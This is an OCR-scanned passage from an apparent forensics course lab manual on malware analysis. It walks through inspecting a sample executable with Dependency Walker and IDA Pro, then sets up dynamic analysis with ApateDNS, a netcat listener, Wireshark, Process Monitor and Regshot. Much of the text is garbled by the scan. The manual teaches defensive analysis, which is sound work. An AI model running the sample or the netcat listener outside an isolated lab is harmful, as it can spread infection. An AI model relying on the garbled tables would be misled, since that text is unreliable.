) '51" AP AS N CORE-ER RO RHANDLING 13 (000 4 [0 04] | AlpcFreelompletionlisifdeisage

, 14 (0 00E) R0 5] | AlpcGeCompletionlistLatMesagenfomation
G APHMS-WN-CORE-HEAP-L2-1-00UL | 15MO00F)| 6 DW0006) | AlpeGeiCompletionListMessagettizibutes
16 (D01 0) T 00T) | AlpcGetHesderSice

File Time Starnp | Link Time Stamp | FileSize | Attr, | Link Checksum
Eevar egreming Dile. The sydtam caract hingd The Tl speched (1],
Edvar egenming Dile. The sy-0m camnct hind 18 T specilied (1],
Eevar egeming Dile. The sy@tem carnct hind 1he Tl speciled (1],
Eevar erieming Dile. The sydtem caract hingd 1he Tl specihed (4],
Exrar epening file. The system cannot find the fde speciied (2),
Eevar egreming file. The sydtem caract hingd 1he Tl speciled (1],
Ervar egrieming Dile. The sydtem caract hingd 1he Tl speciled (1],
Edvar egenming Dile. The sy-0tem camnct hind 18 T8 speciied (1],

Lo o e Tha sodam. wdisd T

Entry Poimt
Mot Bound
Mot Bound
Mot Beund
Mot Bound
Mot Beund
Mok Beaund
Mo Bound
Mot Bound
Mot Beund
Mot Bound

Entry Peirit

ORI TII0
D RAFRED
D RAFIFD
RRAF 230
0070
DDEI 24D
RROCEZI0
DD CE2 5D
ODDEERTD

Feal Checksum

e eE e d o m e

¥

i N s

Module

AR bAS- WM -CORE-APIQUERY-L1-1-00LL
AP|-FAS-WIN-CORE-APPCOMPAT-L1-1-1.0LL
AR|-bAS-WIN-CORE-APPRIT-L1-1-0.00LL

AP bAS- WM -CORE-ATORE-L1-1-0.0LL
AP|-BAS- WM -CORE- CO8-L1-1-0

AR |- bAS- WM -CORE-CO84-L1-1-1.00LL

AR BAS- WM -CORE- COM-MIDLPROXYSTUE-LI-1-0.DLL
AP|-FAS-WIN-CORE- COM-PRIVATE-L1-1-0.0LL

AN L&l LAERI SANE SRl ARNAATE 4 4 4 MiE

smannk limsd ke s v

or: At bexst one regquired implcit or forwarded dependency was rat found.
s AL Beasl ond masdigde has an unrescleed import due Be 8 mssing expart fundction inan implicitl dependent module.
or: Modules with different CFU types were found.

arning: At beast one delay-load dependency module was ot found.

arning: Al least one module has s unresobeed import duee e s missing export function in a delay-load dependent module,

FIGURE 1.29: Examining a specific function in the Dependency Walker mol
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o

File Edit

T

Module 11 - Malware Forensics

Go through the libraries of each DLL to find its functions. The
WINMM.DLL has functions that could trace enabled flags, enabled levels,

messages, track guides, etc.

w Options  Profile  Window Help

e

5 oAl (2@ wE N

O UNEMOWH.EXE -

=

i Ihdbetbal. DL

B NTOLL.DLL
TS WIHE E.DLL

& NTDLLDLL
- E§ MEVCRT.OLL
. () API-MS-WIN-CORE-LIERARYLOA
T API-MES-WIN-CORE-SYMCH-LT-2
3 API-MS-WIN-CORE-REGISTRY-L1
@ AP-MS-WIN-CORE-STRING-11-1
%) AP WS- WIN-CORE-PROCESSTHE
O AP1-MS-WIN-CORE-HEAP-L2-1-0
B AP-ME-WIN-CORE-HAMDLE-L1-
CFF AP-MS-WIN-CORE-HEAP-L1-2-0
O API-M5-WIN-CORE-ERRORHAMD
B AP-MS-WIN-CORE-PROCESSENY
i API-MS-WIN-CORE-FILE-L1-2-10
»

5]

Ordinal

Hant

Funiction *

Erdry Pairt

2039 (WO TFT)
68 (00044)
69 [00043)
70 (0046)
77 ([004D)
B2 [x0052)
B4 D001 34

2138 [W0B54)

2150 (0B E6)

_chkstk

Etwiet Tracenabierlags
EtaiGetTraceEnablel avel
Etadset TracelaggerHandle
ErafegivterTraceuids\W
EtwTracetlessage

MEMCrg

Mot Bownd
Mat Bound
Fot Bownd
Mal Bauwad
Mot Bownd
Mot Bownd
Mot Bound
Pt Bownd
Mot Bound

Oedinal ~

Hant

Function

Ervry Poirt

IBEEEREEE " EOEREAARA

BBD008)
O [Cea 0 03]
10 G 0 0
1 (00 08)
12 0000
12 (D0 00D
14 (G0 0 DE]
15 (000 0F ]

b
0 [x0000)
1(0001)
2 [0002)
3 0003
4 (Do 0 )
5 (0005
§ (0006)

b,

A_SHAFinal

A _SHAINI

A sHAUpdate

AlpctdustCompletionlstl cncwrencayCount
AlpcFresCamplatiznlisthessage
AlpcGetCompletionListLastilessagelnformation
AlpcGetCommpletionlistMessagesttnbiutes

GAO0OTTa20
D04 FDED
CO004F1FD
DO04F230
ODGTIE30
CO00E2 240
DDOCE230
CeDO0CER 30

Medule

File Tirme Stamp | Link Tirne Stamp | File Size [ﬂ-t‘l:. | Link Checksum | Real Checksurn

AP-MS-WIN-CORE-ARIQUERY-L1-1-30LL

TASK 6

Dissemble the file
with IDA Pro

API-ME-WIN-CORE-APPCOMPAT-L1-1-1.0LL
API-MS-WIN-CORE- APPIMET-L1-1-0.0LL
API-RE-WIN-CORE-ATORS-L1-1-0.0LL
AP-MZ-WIN-CORE-COM-L1-1-0
AP-ME-WIN-CORE-COR-L1-1-1.00L
API-ME-WIN-CORE-COM-MIDLPROXYSTUE-L1-1-0.0LL

Ermar apening file. The systern canmot find the file specified (2]
Ermar apening file, The systern cannat find the file specified (2]
Errar apening file. The systarn cannat find the file spacified (2]
Errai apening file, The systern canmot find the file spacified (2]

Error apening file. The systern cannat find the file specified (2]

Ermar apemng file, The systerm cannot lind the Tle spaaihed (2]
Errar apening file. The systern cannat find the file specified (2]

A0 ki Shiiki SAIDE SORA TODAATE 041 4 dna i

Fromr Aarmaniam fila Tha frsdarm s aarmak ad dhe fda enasFued £330

or: At beast one required implicit or forwarded dependency was not found.
or: At beast one module bes an unresobved import due to a missing export function inan implicitly dependent module.
or: Modules with different OPL types were found.
arning: At least one delay-load dependency module was not found.
ing: At lesst one module has an unresobved import due to a missing export function in a delay-load dependent miodule.

53.

'
=

1
]

56.

1
~1

61.

HGURE 1.3 Viewing funcuons in WINMM.DLL library

These functions represent that the linked libraries would enable the
system to trace the flags, messages and other details, and prompt them
to the attacker.

On finding the file dependencies, exit the application.

. Investigators can prove that a malware 1s harmful, only when they can

find the funcuons such as import, copy, connect to a URL and export
embedded in their code.

IDA Pro 1s an executable disassembler that hElpS im--estigamrﬁ n
gathering mnformaton about executables and malware files

. To install the IDA Pro tool, navigate to Z:\\CHFIv9 Module 11 Malware

Forensics\Malware Analysis Tools\IDA Pro location and double-click
the idafree50.exe.

. Follow the installanon instructions and after its completon, launch the

applicaton from the desktop.

. Upon launching the application for the first ume, an About pop-up

appears, click OK.

. Later, an IDA Pro License window appears; accept the license

agreement by clicking | Agree.

It 2 Help Guide appears, Close 1.
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Module 11 - Malware Forensics

62. Click the New button to add a new file for analysis.

IDA: Quick start

Previous Load the ald disassembly

FIGURE 1.31: IDA Pro main window

63. The tool will promprt a dialog box to Select file to disassemble. Select
PE Executable and click OK.

64. Navigate to the location Z:\Evidence Files\Unknown, select the
Unknown.exe file and click Open.

Select file to disassemble

Loak in: Unknown vl @ G

)

* Name Date modified Type Size
[E] Unknown.exe  £/29/20091:52 AM__ Application 468 KB |

Quick access

Librares

2

This PC

&

Network

File name Unknown exe w

Files of type: All known file extensions (" 386" a." app.” ad.” v

FIGURE 1.32: Navigaong to the target filein [DA Pro
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Module 11 - Malware Forensics

65. PE Executable file loading Wizard appears, follow the wizard driven
steps to load the file.

66. Once the tool loads the file, it displays the internals of the file such as
IDA view, hex view, enumerations, imports and exports.

il Edit Jump GSesch  View Debugger Options: Windows Help
R e B 6 ) o RO S e X b DO [odbuge T W e A E e
Bt ] | | DT e I
Lieary function [ Dale [l Regudar furnction [ Urescplored [l Frwinaction || Exberral gymbal
0O& x HotewsB [Drexvien1E [T sructoes @ [E e W om0 T epos [0

dub 4056
il.lh_l“:lﬂ:l?c BETFLEWTEE ] D -Badd i

Wh_d[llzdn PoEmr anacall wieisladHinInMEl hischanos, HIMGTRMET Wweeinibanes, LFLTE Iptet lae, D0 ooissCed §
'i-'.-'tl_q'm iR W L A e

sub_401&t1
rullsub_12

rulisub_13

sub_d01510
sub 4628
sub_401635
sub_401851
sub 3836
sub_401ea7
sub_A0ECD

Brfuaie- Dgke pbr -10En
F_Fls BifLE pAF - 0FEn
Pl el pie -G
F_BC- el pTe -RI
ar_ERs gued e R
ar - byte pa¥ -3En
F_Th= el poe -6
F_1E= Bighe pav -1
ar_F= Bigle pCF

F_E= Bgle pIE -BEn

¥ _be= Wigle fEF

ar_G= Bl v

F_ls Ngle pUF -
ar_fi- igTE BOF

F_We NglE pLE -

¥ - EiglE pIF

aF_F= Wigld BLF

P R pIF -

ar - WgE FIV

I EEEEEEEEEEEEEEEEEEEEER
ok L b & B B ok

Lhihci~ dward pre 1%

s Pl

Elp. #ip
Fap. RN
ol
rhim

o [ o= L e |

HGURE 1.33: Examining the internals of the target file

67. Click on the IDA View-A tab to view paths of subroutines in the file.
The arrows depict the funcuons calling a subroutine. Each box
fEPresents a functon or subroutine.

68. To read the text in a subroutine, the investigator needs to right-click 1n
the IDA View-A window and select Text view from the drop down list.

3 ew ex view-113 : : ums
inc edi
cmp edi, [ebp+hPrevinstance]
jb chort loc_4W1BCY9?2
L

e =] i

loc_HK1BC7. | - I
push Ak Group nodes
call
test é Fename M
pop
jz % Jump to operand Enter
—_———————
% Jump in a new window Alt+Enter
@ E Jump in a new hex window
— ecx, ea Jump to xref to operand... X
call sub_ s List cross references to... Chrle X
mou esi, oa
jmp short 1 f Edit function... Alt+P
[ == Hide Ctrl+MNumpad+-
W= ] Teview :
:?& Proximity browser L Mumpads+ -
loc_1BC % Undefine U
mow it
mou Synchronize with k

HGURE 1.34: Rf_-;ading text in a subrourine
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69. Invesugators can verify the funcuons that call a subroutine navigating

Module 11 - Malware Forensics

through them using the Graph overview window.

70, The highlighted area represents the text version of a subroutine. The
ArrOws represent the other subroutines thar called this subroutine.

g 8 8 9 8 g 8§ g i

et BCCY

text: 0 1BCCY loc M1BCCH:
text: A0 1BCCS

CODE SREF:

1 BE Bk size t

WinHain{® % ,%,x)+178

LLext: o 1BCCY
LLext: 00 1BCCE
LLexti0BCD B
LLexti1BCD
LLext: 0 1BCD3
LLext: 00 1BCDS
LLext: o 1BCon
LLext: 00 BCDe
LLext:001BCDE
LLext: 00 1BCDE
LLexti00BCDE loc MABCDE:

| |-text:zB041BCDE

LU SUNN S U SR S U SO S O S

LLext:001BCER
LLext:001BCEA loc MABCES:
LLext:001BCER
LCext: 00 1BCES
LLext: 00 1BCES
LLext: 00 1BCER
LLexti 004 1BCF B
LLext: 00 1BCF2
et 001 BCF Y
et BCFT
LLexti 0 1BCFA
LLexti OB 1BCFF
LLext:oe1BD01
LLext:oe1Bpe3

sub_42BEAB

eax, eax

eCH

short loc_M1BCDE
BCX, £aX
sub_4B5EGE

esi, eax

short loc H1BCED

+ CODE XREF:

esi, esi

+ CODE XREF:

edi, [ebp+lpCmdLine ]
BCX, B51
[esi+BABER], edi
sub_4O07BCE

eax, eax

short loc_ HI1BDBR
[ebp+nihowCmd]
ECX, [esi+R]
sub_ 40573

H

H

ECX, B51

FIGURE 1.35 E::-:amining text in a subsnurine

WinMHain{® ,%,%,x)+1B9

WinMHaind{®,%,%,%)+1C

71. Click the Imports mb to see all the imports of the file.

L= TDA Yiewwy-A L Hex View-1 1. : ] PS [La ; E. =] Imparts

Ordinal

Library
ADVAPI32
ADVAPI32
ADVAP|32
ADVAPI32
ADVAP|32
COMCTL32
COMCTL32
32
ahi32
GDI32
GDI32
G032

Address Mame

(] 00460818
=] 00460810
00460820
00460824
00460228
00460830
00460834
O046083C
00460840
DO460844
00460848
DOB084C

RegClosekey
RegOpenkeytxA
RegCreatekeyExA
RegSetValueExh
RegQuenyValuebxd
InitCommenContrals
ImageList_Destroy
GetChpBox
ExcludeClipRect

IntersectClipRect
MoveTokx

LineTo

SetTextflign
SetPixelV
GetViewportExtEx
GetWindowExtEx
PtVisible
ScaleWindowExtEx
TextOutA
ExtTextOuta
GetMapMode
DPtolLP
CreateDCA
LPtoDP
GetCharWidthA
SetAbortProc

G032
GOI32
G132
G032
G032
G032
GoI32
a3
GDI32
G013
GDI22
GDI32
GlM32
GDI32

FIGURE 1.36: "k-‘lm‘ing all the impnn:s of the file fain the Impn-n:s tab
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72. To filter for any known imports, right click the Imports window and
select Quick filter.

Hame Brary
RegClosekey ADVAPIZ2
ReqOpenkeyExd ADVAPIZ2
RegCreatekeyExA ADVAPIZ2
RegSet\Valuebxd ADVAPIZ2
RegCueryValuetxd ADVAPIZ2
IntCommonCentrols COMCTL32

Imagelist_Destroy COMCTL32
GetClipBox G032
ExcludeClipRect GDIz2
IntersectClipRect N EF]

MoveTokx a3
LineTa L

SetTextAlign Copy Cr+C

SetPrcely Copy all Ctrl+Shift+Ins
GetViewportExtEx
GetWindowExtEx [ quickfiter  [v  ctaeF

PtVisible i Modify filters... Ctrl+Shift+F
ScaleWindowExtEx
TextOuta GDI32
ExtTetOutd GDI22
GetMapMode GDI32
DPtolP GDz2
CreateDCA GDI32
LPtoDP GDI32
GetCharWidthA GDI32

HGURE 1.37: Fle :'mg kenowsn i ports

73. The tool will display a search bar under the window, type the names of
imports to be searched.

When querted for the local keyword, the tool will display all the
tunctions having the word ‘local’ in their name. Further analysis reveals
that the file tries to gather data such as the system’s local time, threads,
free space, and unlock the local files as well as free the space.

ibrary
GetLocalTime KERMEL32
GetLocalelnfoh KERMEL32
GetlocalelnfoW KERMEL32
LocalReAlloc KERMEL3Z2
GetThreadlocale KERMEL32
FileTimeToLocalFileTime KERMEL32
LocalUnlock KERMEL32

Local&lloc
Locallock
LocalFree

KERMEL=2
KERMEL3Z
KERNEL32

FIGURE 1.38: Querving using the search bar
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74. After finding a suspicious import, double-click on its address to observe

j.t:-":l ].D.ajl .'il.rj. E“‘" f&..

o ol § |l o { ool el o o

MName

CreateFontindirectA
GetTextMetricsA
CreateCompatibleDC
SelectObject
GetDIBColorTable

SetWindowbstEx
SetWindowOrgkx
ScaleViewportExtEx
SetViewportExtEx
OffsetViewportOrgEx
SetViewportOrgEx
SetROP2

SetBkMaode
RestoreDC
SaveDC
CreateBitmap
SetBkColor
SetTextColor
SetMapMode
DeleteEnhMetaFile
PlayEnhMetaFile
GetEnhMetaFileA
ExtFloodFill
Ellipse
CreateolidBrush

FIGURE 1.39: Observing 1D A wiew-A of the suspidous import

. The IDA view will display the coding and other subroutnes a functon

includes as well as displays the coding in these subroutines when users

hover the cursor over them.

] Exoor

)

ddata: 80460038
Lddata:Bea6EAc
Jidata: apas A ac
.idata: @846 8900

; Sub_NIELZB+1ATp
int _ stdcall SetMapMode(HDC hdc, int iMode)
extrn SetMapMode:dword ; CODE XREF: sub_419A11+E86Tp
; sub 428F53+221p ...

.ldata: 00468918
.ldata:@ah68910
.idata: @046 @910

BOOL _ stdcall DeleteEnhHetaFile{HEHHMETAFILE hmf)
extrn DeleteEnhMetaFile:dword ; CODE XREF: sub_ S17EAD+6FT
: DRTAR XREF: 5uh_h1TEﬁD+ﬁFTr

2

Lo s17F19:

nov
push
call

call
imp

oo [ecx] | y17aC7+1EATD
dword ptr [eax] AG7+1EATY

short loc_417F55
= | 517921+9CTp

D +00Tr
- color, UIHT

CODE XREF: sub BATEAD+SAT
[ ebp+hnf ] hmf
ds:DeleteEnhMetaFile

short loc_%17F55 t, int bottor

. B3+1311Tp

CE b e i i
.ldata: 00468928
.idata: 08468924
.idata:aea6a @924
.ddata:aeas992y
-idata:@0s68928
-ldata:80s68928
.idata: 80460928
.idata:peasa928
-idata:pe46892C
-idata: 80468920
.ldata:8046892C

QOOSAEES DOS60210:

: sub_413AB3+179Tp ...
HERUSH __ stdcall CreateSolidBrush{COLDRREF color)
extrn CreateSolidBrush:dword ; CODE XREF: £uh_ﬂ1333ﬁ+FETp
: sub_n13AB3+107Tp ...
BOOL _ stdcall GetTextExtentPointA{HDC hdc, LPCSTR 1lpString, int c, LPSI
extrn GetTextExtentPointh:dword ; CODE XREF: sub HB8124D+23
; sub_N19928+72Tp
; DATA XREF: ...
BODL _ stdcall RectUisible{HDC hdc, const RECT slprect)
extrn RectUisible:dword ; CODE XREF: sub_41CIEG+7Tp
: DATA XREF: sub B1CIE6+7Tr

sldata:DeleceEnhMetaflle  (Synchronlzed with Hex View-1)

FIGURE 1.40: E}:amining the Ending and orher subsourines of the suspiu:inus jmpnrl:

76. Analyze all suspicious subroutines and find their links to determine their
complete objective.
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Lab Analysis

Document all the suspicious data such as strings, DLLs, functions and packages
discovered during the lab.

YOUR INSTRUCTOR IF YOU HAVE QUESTIONS RELATED TO
THIS LAB.

Internet Connection Required
] Yes M No
Platform Supported
Classroom M ilabs
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£/ Valuable
nformation

:ﬁf Test your
knowledge

= Webh exercise

Ty

== Workbook review

7 Tools
demonstrated in
this lab are
available in
C:\CHFI-
Tools\CHFIv9
Module 11
Malware
Forensics

Module 11 - Malware Forensics

Dynamic Malware Analysis

Dynamic mabvare analysis is the process of assessing the wpact of a mabvare by
running it in a closed environment.

Lab Scenario

This lab explains the process of performing dynamic analysis of a malicious file
to find the processes it starts, network operations, file changes and other
activities. This process will help in finding out the sectuons of memory the file
would influence, 1P addresses it would try to connect and functons it would
perform on a system.

Lab Objectives

The objectuve of this lab 1s to help the student to understand how to perform
dynamic malware analysis.

Lab Environment

To carry out this lab, you need:

= A computer rumﬁng Windows 10 virtual machine,

;{patEDKS located ar ZACHFIv9 Module 11 Malware Forensics\Network
and Internet Simulation Tools\apateDNS.

= Netcat (ncexe) located at Z:HCHFIvS Module 11 Malware
Forensics'\Network and Internet Simulation Tools\ne111nt.

" Wireshark located ar Z:\CHFIv9 Module 11 Malware Forensics\Network
Activity Monitoring Tools\Wireshark.

* Regshot located at ZNCHFIvO Module 11 Malware Forensics\Registry
Entry Monitoring Tools\Regshot.

"  Process Monitor located at Z:N\CHFIvO Module 11 Malware
Forensics'\Dynamic Malware Analysis Tools\Process Monitor.

" DProcess Explorer located ar Z:N\CHFIV9 Module 11 Malware
Forensics'\Dynamic Malware Analysis Tools\Process Explorer.
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" Administranve privﬂeges to run the tools.

Lab Duration

Time: 20 Minutes

Overview of the Lab

Dynamic malware analysis refers to the process of studying the bebavior of the
mialware by running it in a monitored environment. The environment design should
tnclude the tools that can capture every movement of the malware in detail and give
Jeedback to the investigator. Mostly virtual systems act as a base for conducting such
experiments.

Lab Tasks

B rasx 3 1. Betfore starting this lab, install the tools and 1solate the virtual machine

trom any network to prevent malware propagation.

Dynamic Analysis )
2. Install the ApateDNS ool from Z:NCHFIv® Module 11 Malware
Forensics\Network and Internet Simulation Tools\apateDNS, by double-
clicking apateDNS.exe and following the wizard driven installation
steps.
3. After installanon, launch the application and enter the IP address for
DNS Reply IP (Default: Current Gatway/DNS) o complete the setup and
click the Start Server.
4. The ApateDNS will recetve all the requests from the system and will
reply to them from the provided IP address.
LpateDi!
spture Window  DINS Hex View
Time Domain Requested DNS Retumed
DNS Reply IP (Defauk: Cument Gatway/DNS): || 127.0.0.1
# of NXDOMAIN's: [u_|
Selecied Intedace: Inted{R) PRO/1000 MT Desktop Adapler
FIGURE 2.1: Running ApatelYNS§ tool by giving a specific IP
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5. Use the Command prompt and flush the DNS of the system to remove
any previous cache history. Use the command: ipconfig /flushdns.

B C\Windows\systern32\emd.exe

FIGURE 2.2: Flushing the DNS history

6. To launch the ProcMon tool, navigate to the Z:ACHFIv® Module 11
Malware Forensics\Dynamic Malware Analysis Tools\Process Monitor
location and double-click the Procmon.exe file.

Process Monitor License Agreement window appears, click Agree.

8. Process Monitor GUI appears as shown in the screenshot:

Jptions  Help
AS B A8 B ATH

FID  Operstian Path Feslt Dt il

968 BhGueryBasicinfor.. C\Windows\Syztem 32 wdidI SUCCESS Creation Time: 7/ 102015 3:58:33 AN, L.
963 '_EiCIDEEF.IE CrWIndows \System 32 wdi dl SUCCESS
968 rﬁuﬂmdl:?il: CAWindows \System 38 wdidl SUCTCESS Desired Access: Read Data/List Directo.
968 PhCreateFleMapp . C\Windows\System3Zwdidl FILE LOCKED WI... SyncType: Sync TypeCreate Section, Pa..
363 .Ei.':I'E'-EtE.:JE!‘-'!-HFIFI...EZ"‘-.'l'.llll'ldDh‘?"-;S}“EiEH‘JE‘.WIjI.dl SUCCESS Sync Type: Synic TypeChher
368 BF Load Image CAWindowsSystem 32 wedi di SUCCESS image Base: (x Aa7dd30000. Image 5
968 jn.ﬁcadF:Ic CAWindows \System3Zwdid SIUCCESS Cffset: 67 584, Length: 16,384, 1/0 Flag..
2508 S ReadFle CiWindows'\System 32 duser.dil SUCCESS (Offset- 432, 816, Length: 16,384, 140 Fa..
; 2508 =hReadFle CWMIndows \System 32 aheall32.d1 SUCCESS Cifest: 7. 705,600, Length; 12,288, 11D
. B MsMpEng exe 1435 2k Readrile ChProgram Fles'\Windows Defender\M ... SUCCESS Offset: 347 350, Length: 12,200 17O Fa
4 Explorer EXE 2508 P\ ReadFie CAWindows System 32 shel 32 dI SUCCESS C¥fset: 76597 408, Length: 4,086, LOA...
. o Searchindeser . 2542 o FileSystemCortrolC: SUCCESS Cortrol- FSCTL_QUERY _USN_JOURN..
g Seanchindexer 2548 ﬁ.FilEE:,.ﬁten':I:ﬂlﬂr'ﬂIC SUCCESS Cantral: FECTL_READ _LUSN_JOURMAL
. o= Searchindexer.... 2548 B FileSystemCantrolC: SUCCESS Control: FSCTL_READ_LISH_JOURMAL
. W gvchos exe 968 o ReadFie CAWindows System 32 wdi dl SICCESS C¥fzet: 91,648, Length: 512, 170 Flags: ..
. 1 BExplorer EXE 2508 HACEHEF!E CMUzer'eccouncilDeskdop SUCCESS Desired Access: Head Data,/List Directo.
. 1 Eplorer EXE 2508 rﬁ.i]uer}ﬂem:lepr LAUsersieccouncilDeskiop INVALID PARAME..
1 Bxplorer EXE 2508 BAQueryDirectory  C\Users\eccouncil Desktop SICCESS 0., 1: ... 2 desktop ini, 3: IDA Demo In...
. Explarer EXE 2508 E}Crs-aa?le C:hUsar'\PublictDeeldop SUCCESS Desired Aooess: Head DatalList Directo. .
. 1 Explorer EXE 2508 B QueryRemotePr , T \sers \Public* Deskiop INVALID PARAME.,
1 Explorer EXE 2508 BhQueryDirectory  C\Users'PublictDesktop SUCCESS 0, 1. .. 2 desdop ni
3 Explorer EXE 2508 @ Regluerykey  HKLM SICCESS Gusery: Handle Tags, HandeTags: (ki
. 1 Bplarer EXE 2502 @fReglpenkey  HELM\Software Mcroscft\Windows'\C... SUCCESS Desired Access: Head
1 Explorer EXE 2508 @RegErumbey  HELM\SOFTWARE \Microsoft\Window .. SUCCESS index: 0, Name: DelegateFolders

. ‘FEploerEXE 2508 @ RegOuenyKey  HKCU\Software'\Classes SUCCESS Cuery: Name

- o EWE iyl =P - HET] 1 CrFhararat i loooan ST =Rg s Mandle Tame Horedlla T ono- Tl
>

FIGURE 2.3 ]3u:1|:hi:1g_ Process Monttor tool

Y. You can personalize the results a process monitor displays using the
Filter option (shortcut: Ctrl+L) from the standard toolbar and specifying
the type of file and providing name of the file in the Process Monitor
Filter dialog box.

10. Process Monitor Filter window appears, select Process Name from
the drop-down list, the name of the file as Unknown.exe, and click Add
button,
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11. Once done, click OK button.the

" Process Monitor Filter

Display entries matching these conditions:
Process Name ' :I Unknown. exe

Reset

Column ' Value
Eepmceﬂ M. i Procmon exe
[ amea: M. | Autoruns exe

EBFTD M. i Procmon64. exe

[] emeaﬂ: N... | Frocexpbd exe
A EAProcess N i Cwatem

FIGURE 2.4: Adding filter to the process monitor

12, Navigate to Z:\CHFIv9 Module 11 Malware Forensics\Dynamic Malware
Analysis Tools\Process Explorer and double-click procexp.exe to
launch the Process Explorer tool.

13. Process Explorer License Agreement window appears, click Agree.

14. The tool will automartically start gathering information about all the
rUNNING Processes.

le Options View Process Find  Users Help

HIJ CIEEERIEE R XX W | | :
CPU F'matﬂﬂrluu _ ipki Compary Name

8214

fH{l,EilE h
I] H r/a Hardware Intemupts and DPCs

MO K 252

1.160 K , 332

B0 K ; 404

2IMK ; 512

4884 K : 584 Host Process for Windows 5... Microsoft Coporation

19420 K
2032 K
49580 K
180112 K
55,604 K

183248 K

22 596 K
54320 K
6.964 K
39,200 K
5412 K :
3656 K ; 620 Host Process for Windows 5. Microsoft Corporation
24972 K ] 796 Host Process for Windows S... Microsoft Comporation
4200 K ) 1496 Shell Infrastructurs Host Microsoft Corporation
6,548 K ; B4 Host Process for Windows T... Microsoft Corporation
1524 K : 864 Hodt Process for Windows 5., Microsoft Corporation
12.888 K ; 872 Host Process for Windows 5... Microsoft Comporation
TERIZK . 520 Host Process for Windows 5. Microsoft Corporation
44 636 K ] 368 Hod Process for Windows 5... Microsoft Coporation
10,120 K : 348 Host Process for Windows S... Microsoft Corporation
4,768 K ; T8 Spocler SubSystem App Microaoft Cumul'd]un

48 400 L DUk | L on [ i 1EN [ n L, N

FIGURE 2.5 Launching Process Explorer mol
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15. Navigate to Z\CHFIvV9 Module 11 Malware Forensics\Network Activity
Monitoring Tools\Wireshark, double-click Wireshark-win64-2.0.4.exe
and follow the wizard driven installanon steps to install the application.

16. On completing the installation, launch Wireshark and begin packet capture
on an interface which 15 common to all the other machines connected to
Windows 10,

Capturing from Ethernet

Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

XE Qes=Fa5Eaaqn

s Filbes Tty . v] Expression.., 4

Source Destination Protocal  Length Info
9 @.414967 192.1568.56.181 224.8.8,252 LLMNR 64 Standard query 8x2379..
1@ &.748179 192.168.56.181 192.168.56.255 HEMNS 92 Name query NBE WPAD<BE>
11 1.586868 192,168.56.,181 192.168.56.255 HENS 92 Name guery NE WPAD<BE>

Frame 1: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) on interface @

Ethernet II, Src: CadmusCo 43:f2:ac (88:08:27:43:f2:ac), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
Internet Protocol Version 4, Src: 192.168.56.181, Dst: 192.168.56.255

User Datagram Protocol, Src Port: 137 (137), Dst Port: 137 (137)

ff ff ff £f ff ff 88 @@ 27 43 f2 ac BB 8@ 45 B8

88 4o B3 B3 08 20 39 11 47 eV c@ ad 38 65 c@ as .ass B

38 ff @@ B9 82 B9 @@ 3a f3 G0 Be 69 81 18 B 81 YRS IS,
80 82 B2 82 08 20 20 45 438 45 41 45 42 45 45 43 +ss+s F HFAEBEEC
21 43 41 453 41 423 41 43 41 43 41 43 41 43 41 43 ACACACALC ACACACALC
41 43 41 43 41 41 41 88 8@ 28 88 a8l ACACRRAR . . ..

HGURE 2.6: Launching Wireshark tool

17. Open command prompt. Navigate to the location, Z:ACHFIv9 Module 11
Malware Forensics\Network and Internet Simulation Tools\ne111nt and
drag and drop the nc.exe file onto the command prompt console with
the syntax for listening to port 80:

18. Syntax: Executable File location\Filename -1 -p 80.

19. Press Enter and the tool will start remrding all the actuvites perfﬂrmed
OVer port 80,

BN CA\WINDOWS\system32\cmd.exe

*\CHFIvO Module alwar Forenisicsh

Tools\ncllint\nc.exe” -1 -p -88_

FIGURE 2.7: Running nc.exe file in command prompt
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20. Navigate to the location, Z:\CHFIv® Module 11 Malware
Forensics\Registry Entry Monitoring Tools\Regshot and double-click the
Regshot-x64-ANSl.exe file to run the Regshot tool.

21. Click on the 1st shot button and click the Shot npr_inn from the list to
capture the baseline of the system.

Compare logs save as:

(®) Plain TXT Otl

Shot and Save...
[ Scan dir t[;dir 2;c

|.: - I'.I\l'!II HDG"'.,'S Lﬂa d. -

Output path:
C:Wsers\Admin\AppDataLc

Add comment into the log:

FIGURE 2.5: Captunng baseline of the system using Regshot ool

22, Nﬂvigﬂte to the malware location 2Z:\Evidence Files\Unknown and
double-click the Unknown.exe file to run the malware,

!
= | Unknown

Home Share View

v « Evidence Files » Unknown v Search Unknown

o

b # Quickaccess MName Date modified Type

MK W 29 2000 132 Al i} ication
@Uk g8/29,/2009 1:52 AM 'ppl' '

5 i OneDrive

FIGURE 2.9 E}:Eﬂlﬂﬂg the M alwrare u't..ing Rﬂgshnl: ol

23. Now, check for the changes tools observed in the system,
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24. (Go to the Regshot tool, click on the 2nd sheot button and click the Shot
option from the list to capture another baseline of the system.

w Regshot 1.9.0 x64 ANSI

Compare logs save as:
@ Plain TXT () HTML document

I o d Sl - l

Shot and Save...

[ ]scan dir1[;dir2;dir3;...;dir nn):

C:\windows
Load...

Output path: Quit
D:\

About

Add comment into the log:

Engish v

Keys: 303839 Values: 516025 Time: 435 /6ms

HGURE 210k Capl:ur:iﬂg 2nd shot of the SVELEM

25. The tool will rake a second shot of the complete system and enable the
Compare button. Click the Compare button to compare the system
status during the first shot with the status of the second shot.

Compare logs save as;
@ Plain TXT () HTML document

[ 1scan dir 1[;dir2;dir 3;...:dir nn]:

C:\Windows

Output path:

D:\

Add comment into the log:

Keys: 287128 Values: 483575

FIGTURE 2.11: Com paring the 15t and ?nd shots
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26. On compleung the comparison, the tool will display a notepad
containing information about all the changes to the system made by a
suspicious file. The informaton includes file locaton and the hex value
of the changes.

.
ile Edit Format View Help

Regshot 1.9.8 x64 ANSI
omments:

Jatetime: 2016/4/25 19:19:44 , 2016/4/25 19:41:06
omputer: DESKTOP-UDUMGE6 , DESKTOP-UDUMGES

sername: eccouncil , eccouncil

KLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\Servicelnstances
KLMASOFTWARE\Microsofti\Windows\CurrentVersion\Group Policy\5Servicelnstances\eld39aic-e:

KLM\SOFTWARE \Wowb432Node\Microsoft\Windows\CurrentVersion\Group Policy\Servicelnstance:
KLM\SOFTWARE \Wowb432Node \Microsoft\Windows \CurrentVersion\Group Policy\Servicelnstance:
KUYS-1-5-21-1297639565-1588305015-3262420064 -1001°\SO0FTWARE\Microsoft\Windows\CurrentVe

KLM\SOFTWARE\Microsoft\IdentityCRL\Throttlefache\5-1-5-21-1297639565-1588305815-326242
